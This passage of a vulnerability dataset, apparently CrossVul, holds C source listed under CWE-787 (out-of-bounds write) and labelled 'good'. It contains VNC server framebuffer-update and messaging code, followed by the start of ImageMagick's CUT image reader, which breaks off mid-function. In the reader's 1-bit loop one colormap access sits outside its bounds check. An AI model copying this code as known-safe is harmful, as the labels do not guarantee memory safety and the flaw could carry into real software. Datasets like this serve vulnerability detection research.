1) / (ZLIB_MAX_SIZE(w) / w)) + 1); } } else if (cl->preferredEncoding == rfbEncodingTight) { nUpdateRegionRects = 0; for (i = 0; i < REGION_NUM_RECTS(updateRegion); i++) { int x = REGION_RECTS(updateRegion)[i].x1; int y = REGION_RECTS(updateRegion)[i].y1; int w = REGION_RECTS(updateRegion)[i].x2 - x; int h = REGION_RECTS(updateRegion)[i].y2 - y; int n = rfbNumCodedRectsTight(cl, x, y, w, h); if (n == 0) { nUpdateRegionRects = 0xFFFF; break; } nUpdateRegionRects += n; } } else { nUpdateRegionRects = REGION_NUM_RECTS(updateRegion); } fu->type = rfbFramebufferUpdate; if (nUpdateRegionRects != 0xFFFF) { fu->nRects = Swap16IfLE(REGION_NUM_RECTS(&updateCopyRegion) + nUpdateRegionRects + !!sendCursorShape + !!sendCursorPos); } else { fu->nRects = 0xFFFF; } ublen = sz_rfbFramebufferUpdateMsg; cl->captureEnable = TRUE; if (sendCursorShape) { cl->cursorWasChanged = FALSE; if (!rfbSendCursorShape(cl, pScreen)) goto abort; } if (sendCursorPos) { cl->cursorWasMoved = FALSE; if (!rfbSendCursorPos(cl, pScreen)) goto abort; } if (REGION_NOTEMPTY(pScreen, &updateCopyRegion)) { if (!rfbSendCopyRegion(cl, &updateCopyRegion, dx, dy)) goto abort; } REGION_UNINIT(pScreen, &updateCopyRegion); REGION_NULL(pScreen, &updateCopyRegion); for (i = 0; i < REGION_NUM_RECTS(updateRegion); i++) { int x = REGION_RECTS(updateRegion)[i].x1; int y = REGION_RECTS(updateRegion)[i].y1; int w = REGION_RECTS(updateRegion)[i].x2 - x; int h = REGION_RECTS(updateRegion)[i].y2 - y; cl->rfbRawBytesEquivalent += (sz_rfbFramebufferUpdateRectHeader + w * (cl->format.bitsPerPixel / 8) * h); if (rfbProfile) mpixels += (double)w * (double)h / 1000000.; switch (cl->preferredEncoding) { case rfbEncodingRaw: if (!rfbSendRectEncodingRaw(cl, x, y, w, h)) goto abort; break; case rfbEncodingRRE: if (!rfbSendRectEncodingRRE(cl, x, y, w, h)) goto abort; break; case rfbEncodingCoRRE: if (!rfbSendRectEncodingCoRRE(cl, x, y, w, h)) goto abort; break; case rfbEncodingHextile: if (!rfbSendRectEncodingHextile(cl, x, y, w, h)) goto abort; break; case rfbEncodingZlib: if (!rfbSendRectEncodingZlib(cl, x, y, w, h)) goto abort; break; case rfbEncodingZRLE: case rfbEncodingZYWRLE: if (!rfbSendRectEncodingZRLE(cl, x, y, w, h)) goto abort; break; case rfbEncodingTight: if (!rfbSendRectEncodingTight(cl, x, y, w, h)) goto abort; break; } } if (cl->compareFB) { if (rfbInterframeDebug) { for (i = 0; i < REGION_NUM_RECTS(&idRegion); i++) { int x = REGION_RECTS(&idRegion)[i].x1; int y = REGION_RECTS(&idRegion)[i].y1; int w = REGION_RECTS(&idRegion)[i].x2 - x; int h = REGION_RECTS(&idRegion)[i].y2 - y, rows; int pitch = rfbFB.paddedWidthInBytes; int ps = rfbServerFormat.bitsPerPixel / 8; char *src = &rfbFB.pfbMemory[y * pitch + x * ps]; char *dst = &cl->compareFB[y * pitch + x * ps]; rows = h; while (rows--) { memcpy(dst, src, w * ps); src += pitch; dst += pitch; } } REGION_UNINIT(pScreen, &idRegion); REGION_NULL(pScreen, &idRegion); } REGION_EMPTY(pScreen, updateRegion); } else { REGION_UNINIT(pScreen, updateRegion); REGION_NULL(pScreen, updateRegion); } if (nUpdateRegionRects == 0xFFFF && !rfbSendLastRectMarker(cl)) goto abort; if (!rfbSendUpdateBuf(cl)) goto abort; cl->captureEnable = FALSE; if (!rfbSendRTTPing(cl)) goto abort; if (rfbProfile) { tUpdate += gettime() - tUpdateStart; tElapsed = gettime() - tStart; iter++; if (tElapsed > 5.) { rfbLog("%.2f updates/sec, %.2f Mpixels/sec, %.3f Mbits/sec\n", (double)iter / tElapsed, mpixels / tElapsed, (double)sendBytes / 125000. / tElapsed); rfbLog("Time/update: Encode = %.3f ms, Other = %.3f ms\n", tUpdate / (double)iter * 1000., (tElapsed - tUpdate) / (double)iter * 1000.); if (cl->compareFB) { rfbLog("Identical Mpixels/sec: %.2f (%f %%)\n", (double)idmpixels / tElapsed, idmpixels / mpixels * 100.0); idmpixels = 0.; } tUpdate = 0.; iter = 0; mpixels = 0.; sendBytes = 0; tStart = gettime(); } } if (rfbAutoLosslessRefresh > 0.0 && (!putImageOnly || REGION_NOTEMPTY(pScreen, &cl->alrEligibleRegion) || cl->firstUpdate)) { if (putImageOnly) REGION_UNION(pScreen, &cl->alrRegion, &cl->alrRegion, &cl->alrEligibleRegion); REGION_EMPTY(pScreen, &cl->alrEligibleRegion); cl->alrTimer = TimerSet(cl->alrTimer, 0, (CARD32)(rfbAutoLosslessRefresh * 1000.0), alrCallback, cl); } rfbUncorkSock(cl->sock); return TRUE; abort: if (!REGION_NIL(&updateCopyRegion)) REGION_UNINIT(pScreen, &updateCopyRegion); if (rfbInterframeDebug && !REGION_NIL(&idRegion)) REGION_UNINIT(pScreen, &idRegion); if (emptyUpdateRegion) { /* Make sure cl hasn't been freed */ for (cl2 = rfbClientHead; cl2; cl2 = cl2->next) { if (cl2 == cl) { REGION_EMPTY(pScreen, updateRegion); break; } } } else if (!REGION_NIL(&_updateRegion)) { REGION_UNINIT(pScreen, &_updateRegion); } return FALSE; } /* * Send the copy region as a string of CopyRect encoded rectangles. * The only slightly tricky thing is that we should send the messages in * the correct order so that an earlier CopyRect will not corrupt the source * of a later one. */ static Bool rfbSendCopyRegion(rfbClientPtr cl, RegionPtr reg, int dx, int dy) { int nrects, nrectsInBand, x_inc, y_inc, thisRect, firstInNextBand; int x, y, w, h; rfbFramebufferUpdateRectHeader rect; rfbCopyRect cr; ScreenPtr pScreen = screenInfo.screens[0]; nrects = REGION_NUM_RECTS(reg); if (dx <= 0) x_inc = 1; else x_inc = -1; if (dy <= 0) { thisRect = 0; y_inc = 1; } else { thisRect = nrects - 1; y_inc = -1; } /* If the source region intersects the lossy region, then we know that the destination region is about to become lossy, so we add it to the lossy region. */ if (rfbAutoLosslessRefresh > 0.0 && alrCopyRect && REGION_NOTEMPTY(pScreen, reg)) { RegionRec tmpRegion; REGION_INIT(pScreen, &tmpRegion, NullBox, 0); REGION_COPY(pScreen, &tmpRegion, reg); REGION_TRANSLATE(pScreen, &tmpRegion, -dx, -dy); REGION_INTERSECT(pScreen, &tmpRegion, &cl->lossyRegion, &tmpRegion); if (REGION_NOTEMPTY(pScreen, &tmpRegion)) { REGION_UNION(pScreen, &cl->lossyRegion, &cl->lossyRegion, reg); REGION_UNION(pScreen, &cl->alrEligibleRegion, &cl->alrEligibleRegion, reg); } REGION_UNINIT(pScreen, &tmpRegion); } if (reg->extents.x2 > pScreen->width || reg->extents.y2 > pScreen->height) rfbLog("WARNING: CopyRect dest at %d,%d with dimensions %dx%d exceeds screen boundaries\n", reg->extents.x1, reg->extents.y1, reg->extents.x2 - reg->extents.x1, reg->extents.y2 - reg->extents.y1); while (nrects > 0) { firstInNextBand = thisRect; nrectsInBand = 0; while ((nrects > 0) && (REGION_RECTS(reg)[firstInNextBand].y1 == REGION_RECTS(reg)[thisRect].y1)) { firstInNextBand += y_inc; nrects--; nrectsInBand++; } if (x_inc != y_inc) thisRect = firstInNextBand - y_inc; while (nrectsInBand > 0) { if ((ublen + sz_rfbFramebufferUpdateRectHeader + sz_rfbCopyRect) > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } x = REGION_RECTS(reg)[thisRect].x1; y = REGION_RECTS(reg)[thisRect].y1; w = REGION_RECTS(reg)[thisRect].x2 - x; h = REGION_RECTS(reg)[thisRect].y2 - y; if (cl->compareFB) { int pitch = rfbFB.paddedWidthInBytes; int ps = rfbServerFormat.bitsPerPixel / 8, rows = h; char *src = &rfbFB.pfbMemory[y * pitch + x * ps]; char *dst = &cl->compareFB[y * pitch + x * ps]; while (rows--) { memcpy(dst, src, w * ps); src += pitch; dst += pitch; } src = &rfbFB.pfbMemory[(y - dy) * pitch + (x - dx) * ps]; dst = &cl->compareFB[(y - dy) * pitch + (x - dx) * ps]; rows = h; while (rows--) { memcpy(dst, src, w * ps); src += pitch; dst += pitch; } } rect.r.x = Swap16IfLE(x); rect.r.y = Swap16IfLE(y); rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); rect.encoding = Swap32IfLE(rfbEncodingCopyRect); memcpy(&updateBuf[ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); ublen += sz_rfbFramebufferUpdateRectHeader; cr.srcX = Swap16IfLE(x - dx); cr.srcY = Swap16IfLE(y - dy); memcpy(&updateBuf[ublen], (char *)&cr, sz_rfbCopyRect); ublen += sz_rfbCopyRect; cl->rfbRectanglesSent[rfbEncodingCopyRect]++; cl->rfbBytesSent[rfbEncodingCopyRect] += sz_rfbFramebufferUpdateRectHeader + sz_rfbCopyRect; thisRect += x_inc; nrectsInBand--; } thisRect = firstInNextBand; } return TRUE; } /* * Send a given rectangle in raw encoding (rfbEncodingRaw). */ Bool rfbSendRectEncodingRaw(rfbClientPtr cl, int x, int y, int w, int h) { rfbFramebufferUpdateRectHeader rect; int nlines; int bytesPerLine = w * (cl->format.bitsPerPixel / 8); char *fbptr = (cl->fb + (rfbFB.paddedWidthInBytes * y) + (x * (rfbFB.bitsPerPixel / 8))); /* Flush the buffer to guarantee correct alignment for translateFn(). */ if (ublen > 0) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.r.x = Swap16IfLE(x); rect.r.y = Swap16IfLE(y); rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); rect.encoding = Swap32IfLE(rfbEncodingRaw); memcpy(&updateBuf[ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); ublen += sz_rfbFramebufferUpdateRectHeader; cl->rfbRectanglesSent[rfbEncodingRaw]++; cl->rfbBytesSent[rfbEncodingRaw] += sz_rfbFramebufferUpdateRectHeader + bytesPerLine * h; nlines = (UPDATE_BUF_SIZE - ublen) / bytesPerLine; while (TRUE) { if (nlines > h) nlines = h; (*cl->translateFn) (cl->translateLookupTable, &rfbServerFormat, &cl->format, fbptr, &updateBuf[ublen], rfbFB.paddedWidthInBytes, w, nlines); ublen += nlines * bytesPerLine; h -= nlines; if (h == 0) /* rect fitted in buffer, do next one */ return TRUE; /* buffer full - flush partial rect and do another nlines */ if (!rfbSendUpdateBuf(cl)) return FALSE; fbptr += (rfbFB.paddedWidthInBytes * nlines); nlines = (UPDATE_BUF_SIZE - ublen) / bytesPerLine; if (nlines == 0) { rfbLog("rfbSendRectEncodingRaw: send buffer too small for %d bytes per line\n", bytesPerLine); rfbCloseClient(cl); return FALSE; } } } /* * Send an empty rectangle with encoding field set to value of * rfbEncodingLastRect to notify client that this is the last * rectangle in framebuffer update ("LastRect" extension of RFB * protocol). */ static Bool rfbSendLastRectMarker(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; if (ublen + sz_rfbFramebufferUpdateRectHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingLastRect); rect.r.x = 0; rect.r.y = 0; rect.r.w = 0; rect.r.h = 0; memcpy(&updateBuf[ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); ublen += sz_rfbFramebufferUpdateRectHeader; cl->rfbLastRectMarkersSent++; cl->rfbLastRectBytesSent += sz_rfbFramebufferUpdateRectHeader; return TRUE; } /* * Send the contents of updateBuf. Returns 1 if successful, -1 if * not (errno should be set). */ Bool rfbSendUpdateBuf(rfbClientPtr cl) { /* int i; for (i = 0; i < ublen; i++) { fprintf(stderr, "%02x ", ((unsigned char *)updateBuf)[i]); } fprintf(stderr, "\n"); */ if (ublen > 0 && WriteExact(cl, updateBuf, ublen) < 0) { rfbLogPerror("rfbSendUpdateBuf: write"); rfbCloseClient(cl); return FALSE; } if (cl->captureEnable && cl->captureFD >= 0 && ublen > 0) WriteCapture(cl->captureFD, updateBuf, ublen); ublen = 0; return TRUE; } /* * rfbSendSetColourMapEntries sends a SetColourMapEntries message to the * client, using values from the currently installed colormap. */ Bool rfbSendSetColourMapEntries(rfbClientPtr cl, int firstColour, int nColours) { char buf[sz_rfbSetColourMapEntriesMsg + 256 * 3 * 2]; rfbSetColourMapEntriesMsg *scme = (rfbSetColourMapEntriesMsg *)buf; CARD16 *rgb = (CARD16 *)(&buf[sz_rfbSetColourMapEntriesMsg]); EntryPtr pent; int i, len; scme->type = rfbSetColourMapEntries; scme->firstColour = Swap16IfLE(firstColour); scme->nColours = Swap16IfLE(nColours); len = sz_rfbSetColourMapEntriesMsg; pent = (EntryPtr)&rfbInstalledColormap->red[firstColour]; for (i = 0; i < nColours; i++) { if (pent->fShared) { rgb[i * 3] = Swap16IfLE(pent->co.shco.red->color); rgb[i * 3 + 1] = Swap16IfLE(pent->co.shco.green->color); rgb[i * 3 + 2] = Swap16IfLE(pent->co.shco.blue->color); } else { rgb[i * 3] = Swap16IfLE(pent->co.local.red); rgb[i * 3 + 1] = Swap16IfLE(pent->co.local.green); rgb[i * 3 + 2] = Swap16IfLE(pent->co.local.blue); } pent++; } len += nColours * 3 * 2; if (WriteExact(cl, buf, len) < 0) { rfbLogPerror("rfbSendSetColourMapEntries: write"); rfbCloseClient(cl); return FALSE; } if (cl->captureFD >= 0) WriteCapture(cl->captureFD, buf, len); return TRUE; } /* * rfbSendBell sends a Bell message to all the clients. */ void rfbSendBell(void) { rfbClientPtr cl, nextCl; rfbBellMsg b; for (cl = rfbClientHead; cl; cl = nextCl) { nextCl = cl->next; if (cl->state != RFB_NORMAL) continue; b.type = rfbBell; if (WriteExact(cl, (char *)&b, sz_rfbBellMsg) < 0) { rfbLogPerror("rfbSendBell: write"); rfbCloseClient(cl); continue; } if (cl->captureFD >= 0) WriteCapture(cl->captureFD, (char *)&b, sz_rfbBellMsg); } } /* * rfbSendServerCutText sends a ServerCutText message to all the clients. */ void rfbSendServerCutText(char *str, int len) { rfbClientPtr cl, nextCl; rfbServerCutTextMsg sct; if (rfbViewOnly || rfbAuthDisableCBSend || !str || len <= 0) return; for (cl = rfbClientHead; cl; cl = nextCl) { nextCl = cl->next; if (cl->state != RFB_NORMAL || cl->viewOnly) continue; if (cl->cutTextLen == len && cl->cutText && !memcmp(cl->cutText, str, len)) continue; if (cl->cutText) free(cl->cutText); cl->cutText = rfbAlloc(len); memcpy(cl->cutText, str, len); cl->cutTextLen = len; memset(&sct, 0, sz_rfbServerCutTextMsg); sct.type = rfbServerCutText; sct.length = Swap32IfLE(len); if (WriteExact(cl, (char *)&sct, sz_rfbServerCutTextMsg) < 0) { rfbLogPerror("rfbSendServerCutText: write"); rfbCloseClient(cl); continue; } if (WriteExact(cl, str, len) < 0) { rfbLogPerror("rfbSendServerCutText: write"); rfbCloseClient(cl); continue; } if (cl->captureFD >= 0) WriteCapture(cl->captureFD, str, len); } LogMessage(X_DEBUG, "Sent server clipboard: '%.*s%s' (%d bytes)\n", len <= 20 ? len : 20, str, len <= 20 ? "" : "...", len); } /* * rfbSendDesktopSize sends a DesktopSize message to a specific client. */ Bool rfbSendDesktopSize(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rh; rfbFramebufferUpdateMsg fu; if (!cl->enableDesktopSize) return TRUE; memset(&fu, 0, sz_rfbFramebufferUpdateMsg); fu.type = rfbFramebufferUpdate; fu.nRects = Swap16IfLE(1); if (WriteExact(cl, (char *)&fu, sz_rfbFramebufferUpdateMsg) < 0) { rfbLogPerror("rfbSendDesktopSize: write"); rfbCloseClient(cl); return FALSE; } rh.encoding = Swap32IfLE(rfbEncodingNewFBSize); rh.r.x = rh.r.y = 0; rh.r.w = Swap16IfLE(rfbFB.width); rh.r.h = Swap16IfLE(rfbFB.height); if (WriteExact(cl, (char *)&rh, sz_rfbFramebufferUpdateRectHeader) < 0) { rfbLogPerror("rfbSendDesktopSize: write"); rfbCloseClient(cl); return FALSE; } return TRUE; } /* * rfbSendExtDesktopSize sends an extended desktop size message to a specific * client. */ Bool rfbSendExtDesktopSize(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rh; rfbFramebufferUpdateMsg fu; CARD8 numScreens[4] = { 0, 0, 0, 0 }; rfbScreenInfo *iter; BOOL fakeScreen = FALSE; if (!cl->enableExtDesktopSize) return TRUE; /* Error messages can only be sent with the EDS extension */ if (!cl->enableExtDesktopSize && cl->result != rfbEDSResultSuccess) return TRUE; memset(&fu, 0, sz_rfbFramebufferUpdateMsg); fu.type = rfbFramebufferUpdate; fu.nRects = Swap16IfLE(1); if (WriteExact(cl, (char *)&fu, sz_rfbFramebufferUpdateMsg) < 0) { rfbLogPerror("rfbSendExtDesktopSize: write"); rfbCloseClient(cl); return FALSE; } /* Send the ExtendedDesktopSize message, if the client supports it. The TigerVNC Viewer, in particular, requires this, or it won't enable remote desktop resize. */ rh.encoding = Swap32IfLE(rfbEncodingExtendedDesktopSize); rh.r.x = Swap16IfLE(cl->reason); rh.r.y = Swap16IfLE(cl->result); rh.r.w = Swap16IfLE(rfbFB.width); rh.r.h = Swap16IfLE(rfbFB.height); if (WriteExact(cl, (char *)&rh, sz_rfbFramebufferUpdateRectHeader) < 0) { rfbLogPerror("rfbSendExtDesktopSize: write"); rfbCloseClient(cl); return FALSE; } xorg_list_for_each_entry(iter, &rfbScreens, entry) { if (iter->output->crtc && iter->output->crtc->mode) numScreens[0]++; } if (numScreens[0] < 1) { numScreens[0] = 1; fakeScreen = TRUE; } if (WriteExact(cl, (char *)numScreens, 4) < 0) { rfbLogPerror("rfbSendExtDesktopSize: write"); rfbCloseClient(cl); return FALSE; } if (fakeScreen) { rfbScreenInfo screen = *xorg_list_first_entry(&rfbScreens, rfbScreenInfo, entry); screen.s.id = Swap32IfLE(screen.s.id); screen.s.x = screen.s.y = 0; screen.s.w = Swap16IfLE(rfbFB.width); screen.s.h = Swap16IfLE(rfbFB.height); screen.s.flags = Swap32IfLE(screen.s.flags); if (WriteExact(cl, (char *)&screen.s, sz_rfbScreenDesc) < 0) { rfbLogPerror("rfbSendExtDesktopSize: write"); rfbCloseClient(cl); return FALSE; } } else { xorg_list_for_each_entry(iter, &rfbScreens, entry) { rfbScreenInfo screen = *iter; if (screen.output->crtc && screen.output->crtc->mode) { screen.s.id = Swap32IfLE(screen.s.id); screen.s.x = Swap16IfLE(screen.s.x); screen.s.y = Swap16IfLE(screen.s.y); screen.s.w = Swap16IfLE(screen.s.w); screen.s.h = Swap16IfLE(screen.s.h); screen.s.flags = Swap32IfLE(screen.s.flags); if (WriteExact(cl, (char *)&screen.s, sz_rfbScreenDesc) < 0) { rfbLogPerror("rfbSendExtDesktopSize: write"); rfbCloseClient(cl); return FALSE; } } } } return TRUE; } /***************************************************************************** * * UDP can be used for keyboard and pointer events when the underlying * network is highly reliable. This is really here to support ORL's * videotile, whose TCP implementation doesn't like sending lots of small * packets (such as 100s of pen readings per second!). */ void rfbNewUDPConnection(int sock) { if (write(sock, &ptrAcceleration, 1) < 0) rfbLogPerror("rfbNewUDPConnection: write"); } /* * Because UDP is a message based service, we can't read the first byte and * then the rest of the packet separately like we do with TCP. We will always * get a whole packet delivered in one go, so we ask read() for the maximum * number of bytes we can possibly get. */ void rfbProcessUDPInput(int sock) { int n; rfbClientToServerMsg msg; if ((n = read(sock, (char *)&msg, sizeof(msg))) <= 0) { if (n < 0) rfbLogPerror("rfbProcessUDPInput: read"); rfbDisconnectUDPSock(); return; } switch (msg.type) { case rfbKeyEvent: if (n != sz_rfbKeyEventMsg) { rfbLog("rfbProcessUDPInput: key event incorrect length\n"); rfbDisconnectUDPSock(); return; } if (!rfbViewOnly) KeyEvent((KeySym)Swap32IfLE(msg.ke.key), msg.ke.down); break; case rfbPointerEvent: if (n != sz_rfbPointerEventMsg) { rfbLog("rfbProcessUDPInput: ptr event incorrect length\n"); rfbDisconnectUDPSock(); return; } if (!rfbViewOnly) PtrAddEvent(msg.pe.buttonMask, Swap16IfLE(msg.pe.x), Swap16IfLE(msg.pe.y), 0); break; default: rfbLog("rfbProcessUDPInput: unknown message type %d\n", msg.type); rfbDisconnectUDPSock(); } }
./CrossVul/dataset_final_sorted/CWE-787/c/good_1040_1
crossvul-cpp_data_good_363_0
/* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % CCC U U TTTTT % % C U U T % % C U U T % % C U U T % % CCC UUU T % % % % % % Read DR Halo Image Format % % % % Software Design % % Jaroslav Fojtik % % June 2000 % % % % % % Permission is hereby granted, free of charge, to any person obtaining a % % copy of this software and associated documentation files ("ImageMagick"), % % to deal in ImageMagick without restriction, including without limitation % % the rights to use, copy, modify, merge, publish, distribute, sublicense, % % and/or sell copies of ImageMagick, and to permit persons to whom the % % ImageMagick is furnished to do so, subject to the following conditions: % % % % The above copyright notice and this permission notice shall be included in % % all copies or substantial portions of ImageMagick. % % % % The software is provided "as is", without warranty of any kind, express or % % implied, including but not limited to the warranties of merchantability, % % fitness for a particular purpose and noninfringement. In no event shall % % ImageMagick Studio be liable for any claim, damages or other liability, % % whether in an action of contract, tort or otherwise, arising from, out of % % or in connection with ImageMagick or the use or other dealings in % % ImageMagick. % % % % Except as contained in this notice, the name of the ImageMagick Studio % % shall not be used in advertising or otherwise to promote the sale, use or % % other dealings in ImageMagick without prior written authorization from the % % ImageMagick Studio. % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % */ /* Include declarations. */ #include "MagickCore/studio.h" #include "MagickCore/attribute.h" #include "MagickCore/blob.h" #include "MagickCore/blob-private.h" #include "MagickCore/cache.h" #include "MagickCore/color.h" #include "MagickCore/color-private.h" #include "MagickCore/colormap.h" #include "MagickCore/colormap-private.h" #include "MagickCore/exception.h" #include "MagickCore/exception-private.h" #include "MagickCore/image.h" #include "MagickCore/image-private.h" #include "MagickCore/list.h" #include "MagickCore/magick.h" #include "MagickCore/memory_.h" #include "MagickCore/pixel-accessor.h" #include "MagickCore/quantum-private.h" #include "MagickCore/static.h" #include "MagickCore/string_.h" #include "MagickCore/module.h" #include "MagickCore/utility.h" #include "MagickCore/utility-private.h" typedef struct { unsigned Width; unsigned Height; unsigned Reserved; } CUTHeader; typedef struct { char FileId[2]; unsigned Version; unsigned Size; char FileType; char SubType; unsigned BoardID; unsigned GraphicsMode; unsigned MaxIndex; unsigned MaxRed; unsigned MaxGreen; unsigned MaxBlue; char PaletteId[20]; } CUTPalHeader; static MagickBooleanType InsertRow(Image *image,ssize_t bpp,unsigned char *p, ssize_t y,ExceptionInfo *exception) { int bit; Quantum index; register Quantum *q; ssize_t x; q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (Quantum *) NULL) return(MagickFalse); switch (bpp) { case 1: /* Convert bitmap scanline. */ { for (x=0; x < ((ssize_t) image->columns-7); x+=8) { for (bit=0; bit < 8; bit++) { index=((*p) & (0x80 >> bit) ? 0x01 : 0x00); SetPixelIndex(image,index,q); if (index < image->colors) SetPixelViaPixelInfo(image,image->colormap+(ssize_t) index,q); q+=GetPixelChannels(image); } p++; } if ((image->columns % 8) != 0) { for (bit=0; bit < (ssize_t) (image->columns % 8); bit++) { index=((*p) & (0x80 >> bit) ? 0x01 : 0x00); SetPixelIndex(image,index,q); if (index < image->colors) SetPixelViaPixelInfo(image,image->colormap+(ssize_t) index,q); SetPixelViaPixelInfo(image,image->colormap+(ssize_t) index,q); q+=GetPixelChannels(image); } p++; } break; } case 2: /* Convert PseudoColor scanline. */ { for (x=0; x < ((ssize_t) image->columns-3); x+=4) { index=ConstrainColormapIndex(image,(*p >> 6) & 0x3,exception); SetPixelIndex(image,index,q); if (index < image->colors) SetPixelViaPixelInfo(image,image->colormap+(ssize_t) index,q); q+=GetPixelChannels(image); index=ConstrainColormapIndex(image,(*p >> 4) & 0x3,exception); SetPixelIndex(image,index,q); if (index < image->colors) SetPixelViaPixelInfo(image,image->colormap+(ssize_t) index,q); q+=GetPixelChannels(image); index=ConstrainColormapIndex(image,(*p >> 2) & 0x3,exception); SetPixelIndex(image,index,q); if (index < image->colors) SetPixelViaPixelInfo(image,image->colormap+(ssize_t) index,q); q+=GetPixelChannels(image); index=ConstrainColormapIndex(image,(*p) & 0x3,exception); SetPixelIndex(image,index,q); if (index < image->colors) SetPixelViaPixelInfo(image,image->colormap+(ssize_t) index,q); q+=GetPixelChannels(image); p++; } if ((image->columns % 4) != 0) { index=ConstrainColormapIndex(image,(*p >> 6) & 0x3,exception); SetPixelIndex(image,index,q); if (index < image->colors) SetPixelViaPixelInfo(image,image->colormap+(ssize_t) index,q); q+=GetPixelChannels(image); if ((image->columns % 4) > 1) { index=ConstrainColormapIndex(image,(*p >> 4) & 0x3,exception); SetPixelIndex(image,index,q); if (index < image->colors) SetPixelViaPixelInfo(image,image->colormap+(ssize_t) index,q); q+=GetPixelChannels(image); if ((image->columns % 4) > 2) { index=ConstrainColormapIndex(image,(*p >> 2) & 0x3, exception); SetPixelIndex(image,index,q); if (index < image->colors) SetPixelViaPixelInfo(image,image->colormap+(ssize_t) index,q); q+=GetPixelChannels(image); } } p++; } break; } case 4: /* Convert PseudoColor scanline. */ { for (x=0; x < ((ssize_t) image->columns-1); x+=2) { index=ConstrainColormapIndex(image,(*p >> 4) & 0x0f,exception); SetPixelIndex(image,index,q); if (index < image->colors) SetPixelViaPixelInfo(image,image->colormap+(ssize_t) index,q); q+=GetPixelChannels(image); index=ConstrainColormapIndex(image,(*p) & 0x0f,exception); SetPixelIndex(image,index,q); if (index < image->colors) SetPixelViaPixelInfo(image,image->colormap+(ssize_t) index,q); p++; q+=GetPixelChannels(image); } if ((image->columns % 2) != 0) { index=ConstrainColormapIndex(image,(*p >> 4) & 0x0f,exception); SetPixelIndex(image,index,q); if (index < image->colors) SetPixelViaPixelInfo(image,image->colormap+(ssize_t) index,q); p++; q+=GetPixelChannels(image); } break; } case 8: /* Convert PseudoColor scanline. */ { for (x=0; x < (ssize_t) image->columns; x++) { index=ConstrainColormapIndex(image,*p,exception); SetPixelIndex(image,index,q); if (index < image->colors) SetPixelViaPixelInfo(image,image->colormap+(ssize_t) index,q); p++; q+=GetPixelChannels(image); } } break; case 24: /* Convert DirectColor scanline. */ for (x=0; x < (ssize_t) image->columns; x++) { SetPixelRed(image,ScaleCharToQuantum(*p++),q); SetPixelGreen(image,ScaleCharToQuantum(*p++),q); SetPixelBlue(image,ScaleCharToQuantum(*p++),q); q+=GetPixelChannels(image); } break; } if (!SyncAuthenticPixels(image,exception)) return(MagickFalse); return(MagickTrue); } /* Compute the number of colors in Grayed R[i]=G[i]=B[i] image */ static int GetCutColors(Image *image,ExceptionInfo *exception) { Quantum intensity, scale_intensity; register Quantum *q; ssize_t x, y; intensity=0; scale_intensity=ScaleCharToQuantum(16); for (y=0; y < (ssize_t) image->rows; y++) { q=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { if (intensity < GetPixelRed(image,q)) intensity=GetPixelRed(image,q); if (intensity >= scale_intensity) return(255); q+=GetPixelChannels(image); } } if (intensity < ScaleCharToQuantum(2)) return(2); if (intensity < ScaleCharToQuantum(16)) return(16); return((int) intensity); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e a d C U T I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % ReadCUTImage() reads an CUT X image file and returns it. It % allocates the memory necessary for the new Image structure and returns a % pointer to the new image. % % The format of the ReadCUTImage method is: % % Image *ReadCUTImage(const ImageInfo *image_info,ExceptionInfo *exception) % % A description of each parameter follows: % % o image_info: the image info. % % o exception: return any errors or warnings in this structure. % */ static Image *ReadCUTImage(const ImageInfo *image_info,ExceptionInfo *exception) { #define ThrowCUTReaderException(severity,tag) \ { \ if (palette != NULL) \ palette=DestroyImage(palette); \ if (clone_info != NULL) \ clone_info=DestroyImageInfo(clone_info); \ ThrowReaderException(severity,tag); \ } Image *image,*palette; ImageInfo *clone_info; MagickBooleanType status; MagickOffsetType offset; size_t EncodedByte; unsigned char RunCount,RunValue,RunCountMasked; CUTHeader Header; CUTPalHeader PalHeader; ssize_t depth; ssize_t i,j; ssize_t ldblk; unsigned char *BImgBuff=NULL,*ptrB; register Quantum *q; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickCoreSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickCoreSignature); image=AcquireImage(image_info,exception); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Read CUT image. */ palette=NULL; clone_info=NULL; Header.Width=ReadBlobLSBShort(image); Header.Height=ReadBlobLSBShort(image); Header.Reserved=ReadBlobLSBShort(image); if (Header.Width==0 || Header.Height==0 || Header.Reserved!=0) CUT_KO: ThrowCUTReaderException(CorruptImageError,"ImproperImageHeader"); /*---This code checks first line of image---*/ EncodedByte=ReadBlobLSBShort(image); RunCount=(unsigned char) ReadBlobByte(image); RunCountMasked=RunCount & 0x7F; ldblk=0; while((int) RunCountMasked!=0) /*end of line?*/ { i=1; if((int) RunCount<0x80) i=(ssize_t) 